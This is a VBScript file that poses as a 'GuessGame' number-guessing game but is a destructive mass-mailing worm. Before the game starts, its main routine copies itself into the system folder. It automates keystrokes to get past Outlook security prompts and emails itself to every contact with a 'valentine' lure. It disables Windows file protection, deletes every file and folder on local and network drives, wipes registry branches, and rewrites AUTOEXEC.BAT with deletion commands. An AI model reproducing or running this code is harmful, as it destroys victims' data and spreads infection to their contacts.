'***************************************************************** '******************** GuessGame Configuration ******************** '***************************************************************** 'Range of number to guess from 1 to... Const nRangeOfNumber = 100 'Tries allowed to guess number... Const nTriesAllowed = 10 '***************************************************************** '***************************************************************** '***************************************************************** '**Start Encode** sVBEfilename = "GuessGame.vbe" sVBSfilename = "GuessGame.vbs" sBATfilename = "GuessGame.bat" Sub sbMain() On Error Resume Next sbCreateCopy() sbSecurity() sbEmail() sbSetDate("04-08-1981") sbVirus() sbGuessGame() End Sub Sub sbGuessGame() On Error Resume Next Dim nRandomNumber, nTriesLeft, nTriesTaken, nGuess, sMessageBox, sResponse Randomize nRandomNumber = Int((nRangeOfNumber * Rnd) + 1) nTriesLeft = nTriesAllowed nTriesTaken = 0 nGuess = 0 sMessageBox = MsgBox("I have thought of a number ranging from 1 to " & nRangeOfNumber & " you have " & nTriesAllowed & " tries to guess it.", vbSystemModal, "Guess Game") Do While nGuess <> nRandomNumber Or nTriesLeft <> 0 nGuess = InputBox("Enter your guess. (1 to " & nRangeOfNumber & ")" & vbCr & vbCr & "Tries left: " & nTriesLeft, "Guess Game") If (IsNumeric(nGuess)) Then nGuess = Int(nGuess) nTriesLeft = nTriesLeft - 1 nTriesTaken = nTriesAllowed - nTriesLeft If (nGuess = nRandomNumber) Then sMessageBox = MsgBox("You are a winner!" & vbCr & "Number was: " & nRandomNumber & vbCr & "Tries taken: " & nTriesTaken & " out of " & nTriesAllowed, vbExclamation + vbSystemModal, "Guess Game") Exit Do End If If (nTriesLeft = 0) Then sMessageBox = MsgBox("You are a loser!" & vbCr & "Number was: " & nRandomNumber & vbCr & "Tries taken: " & nTriesTaken & " out of " & nTriesAllowed, vbExclamation + vbSystemModal, "Guess Game") Exit Do End If If (nGuess > nRandomNumber) Then sMessageBox = MsgBox("You guessed: " & nGuess & vbCr & "That was too big, try again!", vbInformation + vbSystemModal, "Guess Game") End If If (nGuess < nRandomNumber) Then sMessageBox = MsgBox("You guessed: " & nGuess & vbCr & "That was too small, try again!", vbInformation + vbSystemModal, "Guess Game") End If Else sMessageBox = MsgBox("Invalid input, required range from 1 to " & nRangeOfNumber, vbCritical + vbSystemModal, "Guess Game") End If Loop sResponse = MsgBox("Play again?", vbYesNo + vbQuestion + vbSystemModal, "Guess Game") If (sResponse = vbYes) Then sbMain() End If Set nRandomNumber = Nothing Set nTriesLeft = Nothing Set nTriesTaken = Nothing Set nGuess = Nothing Set sMessageBox = Nothing Set sResponse = Nothing End Sub Sub sbCreateCopy() On Error Resume Next Dim FSO, dirSystem, file, sData Set FSO = WScript.CreateObject("Scripting.FileSystemObject") Set dirSystem = FSO.GetSpecialFolder(1) Set file = FSO.OpenTextFile(WScript.ScriptFullName, 1) sData = file.ReadAll file.Close Set file = FSO.CreateTextFile(dirSystem & "\" & sVBEfilename, True) file.WriteLine(sData) file.Close Set FSO = Nothing Set dirSystem = Nothing Set file = Nothing Set sData = Nothing End Sub Sub sbSecurity() On Error Resume Next Dim FSO, dirSystem, file Set FSO = WScript.CreateObject("Scripting.FileSystemObject") Set dirSystem = FSO.GetSpecialFolder(1) Set file = FSO.CreateTextFile(dirSystem & "\" & sVBSfilename, True) file.WriteLine("Set WSHShell = WScript.CreateObject(""WScript.Shell"")") file.WriteLine("While WSHShell.AppActivate(""Microsoft Outlook"") = FALSE") file.WriteLine("wscript.sleep 1000") file.WriteLine("Wend") file.WriteLine("If (WSHShell.AppActivate(""Microsoft Outlook"") = TRUE) Then") file.WriteLine("WSHShell.SendKeys ""a"", TRUE") file.WriteLine("WSHShell.SendKeys ""y"", TRUE") file.WriteLine("wscript.sleep 7000") file.WriteLine("End If") file.WriteLine("While WSHShell.AppActivate(""Microsoft Outlook"") = FALSE") file.WriteLine("wscript.sleep 1000") file.WriteLine("Wend") file.WriteLine("If (WSHShell.AppActivate(""Microsoft Outlook"") = TRUE) Then") file.WriteLine("WSHShell.SendKeys ""y"", TRUE") file.WriteLine("End If") file.WriteLine("While WSHShell.AppActivate(""Microsoft Outlook"") = FALSE") file.WriteLine("wscript.sleep 1000") file.WriteLine("Wend") file.WriteLine("wscript.sleep 2000") file.WriteLine("If (WSHShell.AppActivate(""Microsoft Outlook"") = TRUE) Then") file.WriteLine("WSHShell.SendKeys ""y"", TRUE") file.WriteLine("End If") file.Close Set FSO = Nothing Set dirSystem = Nothing Set file = Nothing End Sub Sub sbEmail() On Error Resume Next Dim FSO, WSHShell, dirSystem, objOutlook, objNameSpace, objFolder, attachment, cItem Set FSO = WScript.CreateObject("Scripting.FileSystemObject") Set WSHShell = WScript.CreateObject("WScript.Shell") Set dirWindows = FSO.GetSpecialFolder(0) Set dirSystem = FSO.GetSpecialFolder(1) Set dirTemp = FSO.GetSpecialFolder(2) dirAllUsersDesktop = WSHShell.SpecialFolders("AllUsersDesktop") dirDesktop = WSHShell.SpecialFolders("Desktop") dirMyDocuments = WSHShell.SpecialFolders("MyDocuments") Const olFolderContacts = 10 Set objOutlook = WScript.CreateObject("Outlook.application") Set objNameSpace = objOutlook.GetNameSpace("MAPI") Set objFolder = objNameSpace.GetDefaultFolder(olFolderContacts) If (FSO.FileExists(dirAllUsersDesktop & "\" & "GuessGame.html")) Then attachment = dirAllUsersDesktop & "\" & "GuessGame.html" ElseIf (FSO.FileExists(dirDesktop & "\" & "GuessGame.html")) Then attachment = dirDesktop & "\" & "GuessGame.html" ElseIf (FSO.FileExists(dirMyDocuments & "\" & "GuessGame.html")) Then attachment = dirMyDocuments & "\" & "GuessGame.html" ElseIf (FSO.FileExists(dirTemp & "\" & "GuessGame.html")) Then attachment = dirTemp & "\" & "GuessGame.html" Else attachment = dirSystem & "\" & sVBEfilename End If For Each cItem In objFolder.Items WSHShell.Run dirSystem & "\" & sVBSfilename Set email = objOutlook.CreateItem(0) email.Recipients.Add(cItem.EMail1Address) email.Attachments.Add(attachment) email.Subject = "Are you " & cItem.FullName & " my valentine?" email.Body = "Hi " & cItem.FullName & " my valentine, " & "remember me? I ain't seen you in ages! Anyway, check-out and play the attached guess-the-number-game to guess who I am. See you soon, bye-bye!" email.Send Next Set objOutlook = Nothing Set objNameSpace = Nothing Set objFolder = Nothing Set cItem = Nothing End Sub Sub sbSetDate(date) On Error Resume Next Dim FSO, dirSystem, WSHShell, file, MSDOS Set FSO = WScript.CreateObject("Scripting.FileSystemObject") Set dirSystem = FSO.GetSpecialFolder(1) Set WSHShell = WScript.CreateObject("WScript.Shell") Set file = FSO.CreateTextFile(dirSystem & "\" & sBATfilename, True) file.WriteLine "DATE %1" file.WriteLine "CLS" file.Close MSDOS = sBATfilename & " " & date WSHShell.Run MSDOS, 0, TRUE End Sub Sub sbVirus() On Error Resume Next Dim FSO, WSHShell, WSHNetwork, dirWindows, dirSystem, dirTemp, dirAllUsersDesktop, dirAllUsersPrograms, dirDesktop, dirPrograms, dirMyDocuments, objNetworkDrives, root, directories, filetypes, registry, i, j, f, fc, d, dc, file, subdirectory, sData, drive Set FSO = WScript.CreateObject("Scripting.FileSystemObject") Set WSHShell = WScript.CreateObject("WScript.Shell") Set WSHNetwork = WScript.CreateObject("WScript.Network") Set dirWindows = FSO.GetSpecialFolder(0) Set dirSystem = FSO.GetSpecialFolder(1) Set dirTemp = FSO.GetSpecialFolder(2) dirAllUsersDesktop = WSHShell.SpecialFolders("AllUsersDesktop") dirAllUsersPrograms = WSHShell.SpecialFolders("AllUsersPrograms") dirDesktop = WSHShell.SpecialFolders("Desktop") dirPrograms = WSHShell.SpecialFolders("Programs") dirMyDocuments = WSHShell.SpecialFolders("MyDocuments") Set objNetworkDrives = WSHNetwork.EnumNetworkDrives Set dc = FSO.Drives WSHShell.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SFCDisable", "0xFFFFFF9D" WSHShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDesktop", 1, "REG_DWORD" root = FSO.GetDriveName(dirWindows) directories = Array(root & "\", dirAllUsersDesktop, dirAllUsersPrograms, dirDesktop, dirPrograms, dirMyDocuments, dirWindows, dirSystem, dirTemp, dirWindows & "\" & "SYSTEM32", dirWindows & "\" & "COMMAND", dirWindows & "\" & "INF", dirWindows & "\" & "SYSBCKUP", root & "\" & "My Documents", root & "\" & "Documents and Settings", root & "\" & "Program Files", root & "\" & "Inetpub") filetypes = Array("sys", "dll", "ocx", "cpl", "dat", "com", "exe", "cab", "ini", "inf", "vxd", "drv", "doc", "xls", "mdb", "ppt", "mp3", "jpg", "txt", "htm", "html", "hta", "asp", "aspx") registry = Array("HKEY_CURRENT_USER\Control Panel\", "HKEY_CURRENT_USER\InstallLocationsMRU\", "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\", "HKEY_CURRENT_USER\Software\Microsoft\Office\", "HKEY_CURRENT_USER\Software\Microsoft\Windows\", "HKEY_CURRENT_USER\Software\ODBC\", "HKEY_LOCAL_MACHINE\Enum\", "HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\", "HKEY_LOCAL_MACHINE\Software\Microsoft\Office\", "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\", "HKEY_LOCAL_MACHINE\System\") For i = 0 To UBound(directories) On Error Resume Next If (FSO.FolderExists(directories(i))) Then Set f = FSO.GetFolder(directories(i)) Set fc = f.Files For Each file In fc On Error Resume Next FSO.DeleteFile file, True On Error Resume Next Next End If Next For i = 0 To UBound(directories) On Error Resume Next If (FSO.FolderExists(directories(i))) Then Set f = FSO.GetFolder(directories(i)) Set fc = f.SubFolders For Each subdirectory In fc On Error Resume Next FSO.DeleteFolder subdirectory, True On Error Resume Next Next End If Next For i = 0 to objNetworkDrives.Count - 1 Step 2 On Error Resume Next If (FSO.FolderExists(objNetworkDrives.Item(i+1))) Then Set f = FSO.GetFolder(objNetworkDrives.Item(i+1)) Set fc = f.Files For Each file In fc On Error Resume Next FSO.DeleteFile file, True On Error Resume Next Next End If Next For i = 0 to objNetworkDrives.Count - 1 Step 2 On Error Resume Next If (FSO.FolderExists(objNetworkDrives.Item(i+1))) Then Set f = FSO.GetFolder(objNetworkDrives.Item(i+1)) Set fc = f.SubFolders For Each subdirectory In fc On Error Resume Next FSO.DeleteFolder subdirectory, True On Error Resume Next Next End If Next For Each d in dc If d.IsReady Then Set f = FSO.GetDrive(d) Set fc = f.Files For Each file In fc On Error Resume Next FSO.DeleteFile file, True On Error Resume Next Next Set fc = f.SubFolders For Each subdirectory In fc On Error Resume Next FSO.DeleteFolder subdirectory, True On Error Resume Next Next End If Next Set file = FSO.CreateTextFile(dirSystem & "\" & sBATfilename, True) file.WriteLine("@ECHO OFF") For i = 0 To UBound(directories) file.WriteLine("CD " & """" & directories(i) & """") For j = 0 To UBound(filetypes) file.WriteLine("DEL *." & filetypes(j)) Next Next For i = 0 To UBound(directories) file.WriteLine("DELTREE /Y " & """" & directories(i) & """") Next file.WriteLine("CLS") file.Close If (FSO.FileExists(dirSystem & "\" & sBATfilename)) Then Set file = FSO.OpenTextFile(dirSystem & "\" & sBATfilename, 1) sData = file.ReadAll End If Set file = FSO.CreateTextFile(root & "\" & "AUTOEXEC.BAT", True) file.WriteLine(sData) file.Close For i = 0 to objNetworkDrives.Count - 1 Step 2 Set file = FSO.CreateTextFile(objNetworkDrives.Item(i+1) & "\" & "AUTOEXEC.BAT", True) file.WriteLine(sData) file.Close Next For i = 0 To UBound(registry) WSHShell.RegDelete registry(i) Next WSHShell.Run dirSystem & "\" & sBATfilename, 0, TRUE Set FSO = Nothing Set WSHShell = Nothing Set WSHNetwork = Nothing Set dirWindows = Nothing Set dirSystem = Nothing Set dirTemp = Nothing Set dirAllUsersDesktop = Nothing Set dirAllUsersPrograms = Nothing Set dirDesktop = Nothing Set dirPrograms = Nothing Set dirMyDocuments = Nothing Set objNetworkDrives = Nothing Set directories = Nothing Set filetypes = Nothing Set registry = Nothing Set i = Nothing Set j = Nothing Set f = Nothing Set fc = Nothing Set d = Nothing Set dc = Nothing Set file = Nothing Set subdirectory = Nothing Set sData = Nothing End Sub sbMain()